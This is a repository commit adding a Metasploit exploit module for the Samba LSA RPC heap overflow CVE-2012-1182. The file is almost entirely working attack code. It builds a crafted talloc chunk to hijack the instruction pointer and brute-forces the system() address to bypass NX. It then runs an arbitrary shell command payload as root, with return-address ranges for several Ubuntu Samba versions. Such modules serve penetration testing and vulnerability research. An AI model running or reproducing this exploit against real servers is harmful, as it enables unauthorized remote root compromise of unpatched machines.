Added module for Samba CVE-2012-1182
parent
60b4190e4a
commit
9d3a1871a6
|
@ -0,0 +1,306 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Exploit::Remote::SMB
|
||||
include Msf::Exploit::Brute
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',
|
||||
'Description' => %q{
|
||||
This module triggers a vulnerability in the LSA RPC service of the Samba daemon
|
||||
because of an error on the PIDL auto-generated code. Making a specially crafted
|
||||
call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to
|
||||
trigger a heap overflow and finally execute arbitrary code with root privileges.
|
||||
|
||||
The module uses brute force to guess the system() address and redirect flow there
|
||||
in order to bypass NX. The start and stop addresses for brute forcing have been
|
||||
calculated empirically. On the other hand the module provides the StartBrute and
|
||||
StopBrute which allow the user to configure his own addresses.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discovery
|
||||
'blasty', # Exploit
|
||||
'sinn3r', # Metasploit module
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2012-1182'],
|
||||
['OSVDB', '81303'],
|
||||
['BID', '52973'],
|
||||
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'Space' => 811,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic bash telnet python perl',
|
||||
}
|
||||
},
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' =>
|
||||
[
|
||||
# gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1'
|
||||
['2:3.5.11~dfsg-1ubuntu2 and 2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.10',
|
||||
{
|
||||
'Offset' => 0x11c0,
|
||||
'Bruteforce' =>
|
||||
{
|
||||
# The start for the final version should be 0xb20 aligned, and then step 0x1000.
|
||||
'Start' => { 'Ret' => 0x00230b20 },
|
||||
'Stop' => { 'Ret' => 0x22a00b20 },
|
||||
'Step' => 0x1000,
|
||||
}
|
||||
}
|
||||
],
|
||||
['2:3.5.8~dfsg-1ubuntu2 and 2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',
|
||||
{
|
||||
'Offset' => 0x11c0,
|
||||
'Bruteforce' =>
|
||||
{
|
||||
# The start should be 0x950 aligned, and then step 0x1000.
|
||||
'Start' => { 'Ret' => 0x00230950 },
|
||||
'Stop' => { 'Ret' => 0x22a00950 },
|
||||
'Step' => 0x1000,
|
||||
}
|
||||
}
|
||||
],
|
||||
['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 10.10',
|
||||
{
|
||||
'Offset' => 0x11c0,
|
||||
'Bruteforce' =>
|
||||
{
|
||||
# The start should be 0x680 aligned, and then step 0x1000.
|
||||
'Start' => { 'Ret' => 0x00230680 },
|
||||
'Stop' => { 'Ret' => 0x22a00680 },
|
||||
'Step' => 0x1000,
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Apr 10 2012',
|
||||
'DefaultTarget' => 0,
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]),
|
||||
OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
if target.bruteforce?
|
||||
bf = target.bruteforce
|
||||
|
||||
if datastore['StartBrute'] and datastore['StartBrute'] > 0
|
||||
bf.start_addresses['Ret'] = datastore['StartBrute']
|
||||
end
|
||||
|
||||
if datastore['StopBrute'] and datastore['StopBrute'] > 0
|
||||
bf.stop_addresses['Ret'] = datastore['StopBrute']
|
||||
end
|
||||
|
||||
if bf.start_addresses['Ret'] > bf.stop_addresses['Ret']
|
||||
raise ArgumentError, "StartBrute should not be larger than StopBrute"
|
||||
end
|
||||
end
|
||||
super
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
connect()
|
||||
smb_login()
|
||||
disconnect()
|
||||
if (smb_peer_lm() =~ /Samba/i)
|
||||
return CheckCode::Detected
|
||||
else
|
||||
return CheckCode::Safe
|
||||
end
|
||||
rescue ::Exception
|
||||
return CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def brute_exploit(target_addrs)
|
||||
|
||||
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
|
||||
datastore['DCERPC::fake_bind_multi'] = false
|
||||
datastore['DCERPC::max_frag_size'] = 4248
|
||||
|
||||
pipe = "lsarpc"
|
||||
|
||||
print_status("Connecting to the SMB service...")
|
||||
connect()
|
||||
print_status("Login to the SMB service...")
|
||||
smb_login()
|
||||
|
||||
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
|
||||
print_status("Binding to #{handle} ...")
|
||||
dcerpc_bind(handle)
|
||||
print_status("Bound to #{handle} ...")
|
||||
|
||||
stub = "X" * 20
|
||||
|
||||
cmd = ";;;;" # padding
|
||||
cmd << "#{payload.encoded}\x00" # system argument
|
||||
tmp = cmd * (816/cmd.length)
|
||||
tmp << "\x00"*(816-tmp.length)
|
||||
|
||||
stub << NDR.short(2) # level
|
||||
stub << NDR.short(2) # level 2
|
||||
stub << NDR.long(1) # auditing mode
|
||||
stub << NDR.long(1) # ptr
|
||||
stub << NDR.long(100000) # r-> count
|
||||
stub << NDR.long(20) # array size
|
||||
stub << NDR.long(0)
|
||||
stub << NDR.long(100)
|
||||
stub << rand_text_alpha(target['Offset'])
|
||||
# Crafted talloc chunk
|
||||
stub << 'A' * 8 # next, prev
|
||||
stub << NDR.long(0) + NDR.long(0) # parent, child
|
||||
stub << NDR.long(0) # refs
|
||||
stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
|
||||
stub << NDR.long(0) # name
|
||||
stub << "AAAA" # size
|
||||
stub << NDR.long(0xe8150c70) # flags
|
||||
stub << "AAAABBBB"
|
||||
stub << tmp # pointer to tmp+4 in $esp
|
||||
stub << rand_text(32632)
|
||||
stub << rand_text(62000)
|
||||
|
||||
print_status("Calling the vulnerable function...")
|
||||
|
||||
begin
|
||||
call(dcerpc, 0x08, stub)
|
||||
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
|
||||
print_status('Server did not respond, this is expected')
|
||||
rescue Rex::Proto::DCERPC::Exceptions::Fault
|
||||
print_error('Server is most likely patched...')
|
||||
rescue => e
|
||||
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
|
||||
print_status('Server disconnected, this is expected')
|
||||
end
|
||||
end
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
|
||||
# Perform a DCE/RPC Function Call
|
||||
def call(dcerpc, function, data, do_recv = true)
|
||||
|
||||
frag_size = data.length
|
||||
if dcerpc.options['frag_size']
|
||||
frag_size = dcerpc.options['frag_size']
|
||||
end
|
||||
object_id = ''
|
||||
if dcerpc.options['object_call']
|
||||
object_id = dcerpc.handle.uuid[0]
|
||||
end
|
||||
if options['random_object_id']
|
||||
object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))
|
||||
end
|
||||
|
||||
call_packets = make_request(function, data, frag_size, dcerpc.context, object_id)
|
||||
call_packets.each { |packet|
|
||||
write(dcerpc, packet)
|
||||
}
|
||||
|
||||
return true if not do_recv
|
||||
|
||||
raw_response = ''
|
||||
|
||||
begin
|
||||
raw_response = dcerpc.read()
|
||||
rescue ::EOFError
|
||||
raise Rex::Proto::DCERPC::Exceptions::NoResponse
|
||||
end
|
||||
|
||||
if (raw_response == nil or raw_response.length == 0)
|
||||
raise Rex::Proto::DCERPC::Exceptions::NoResponse
|
||||
end
|
||||
|
||||
|
||||
dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response)
|
||||
|
||||
if dcerpc.last_response.type == 3
|
||||
e = Rex::Proto::DCERPC::Exceptions::Fault.new
|
||||
e.fault = dcerpc.last_response.status
|
||||
raise e
|
||||
end
|
||||
|
||||
dcerpc.last_response.stub_data
|
||||
end
|
||||
|
||||
# Used to create standard DCERPC REQUEST packet(s)
|
||||
def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '')
|
||||
|
||||
opnum = opnum.to_i
|
||||
size = size.to_i
|
||||
ctx = ctx.to_i
|
||||
|
||||
chunks, frags = [], []
|
||||
ptr = 0
|
||||
|
||||
# Break the request into fragments of 'size' bytes
|
||||
while ptr < data.length
|
||||
chunks.push( data[ ptr, size ] )
|
||||
ptr += size
|
||||
end
|
||||
|
||||
# Process requests with no stub data
|
||||
if chunks.length == 0
|
||||
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) )
|
||||
return frags
|
||||
end
|
||||
|
||||
# Process requests with only one fragment
|
||||
if chunks.length == 1
|
||||
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) )
|
||||
return frags
|
||||
end
|
||||
|
||||
# Create the first fragment of the request
|
||||
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) )
|
||||
|
||||
# Create all of the middle fragments
|
||||
while chunks.length != 1
|
||||
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) )
|
||||
end
|
||||
|
||||
# Create the last fragment of the request
|
||||
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) )
|
||||
|
||||
return frags
|
||||
end
|
||||
|
||||
# Write data to the underlying socket
|
||||
def write(dcerpc, data)
|
||||
dcerpc.socket.write(data)
|
||||
data.length
|
||||
end
|
||||
|
||||
end
|
||||
|
Loading…
Reference in New Issue